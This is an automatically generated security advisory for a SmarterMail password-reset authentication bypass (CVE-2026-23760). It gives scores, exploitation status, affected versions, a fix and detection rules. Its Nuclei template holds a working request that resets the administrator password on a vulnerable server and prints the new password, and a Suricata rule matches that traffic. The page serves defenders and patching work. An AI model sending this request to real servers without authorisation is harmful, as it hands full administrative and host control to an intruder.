VULNpocalypse

CVE-2026-23760: SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

SmarterTools SmarterMail versions prior to build 9511 contain an authentication bypass vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. An unauthenticated attacker can supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance. NOTE: SmarterMail system administrator privileges grant the ability to execute operating system commands via built-in management functionality, effectively providing administrative (SYSTEM or root) access on the underlying host.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-01-22).

Weakness: CWE-288 Authentication Bypass Using an Alternate Path or Channel

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-01-26
US federal deadline
2026-02-16
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-00824, CNNVD-202601-3816, EUVD-2026-4143, GHSA-mj6x-679w-76wr

VEDAS cluster: VEDAS:FLUTTERINGWIND

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

13 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.964
very likely to be attacked soon
VEDAS
0.988
strong exploit evidence
On CISA KEV
Yes, since 2026-01-26
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2026-23760 EPSS over time2026-022026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2026-23760 VEDAS over time2026-022026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
SmarterTools SmarterMailbefore 100.0.9511Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: smartertools smartermail, smartertools_inc. smartermail.

How to fix it

Fixed versions stated in the CVE record: 100.0.9511.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Smartmail - Authentication Bypass

SmarterTools SmarterMail versions prior to build 9511 contain an authentication bypass vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/v1/auth/force-reset-password); it decides using dsl, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-23760.yaml
Show the template (51 lines)
yaml
id: CVE-2026-23760

info:
  name: "Smartmail - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    SmarterTools SmarterMail versions prior to build 9511 contain an authentication bypass vulnerability in the
    password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the
    existing password or a reset token when resetting system administrator accounts.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-23760&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=smartmail&match=exact
  classification:
    cve-id: CVE-2026-23760
  metadata:
    verified: false
  tags: cve,cve2026,intrusive,smartmail,admin,auth-bypass,vkev,kev,vuln
variables:
  password: "{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST /api/v1/auth/force-reset-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"IsSysAdmin":"true",
        "OldPassword":"watever",
        "Username":"admin",
        "NewPassword":"{{password}}",
        "ConfirmPassword": "{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - 'debugInfo'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"New Password: " + password'

CVE-2026-23760.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-23760 Smartmail - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-23760 Smartmail - Authentication Bypass"; flow:established,to_server; http.uri; content:"/api/v1/auth/force-reset-password"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-23760; reference:url,https://www.exploit.observer/?keyword=CVE-2026-23760&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=smartmail&match=exact; sid:1010283; rev:1;)

CVE-2026-23760.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.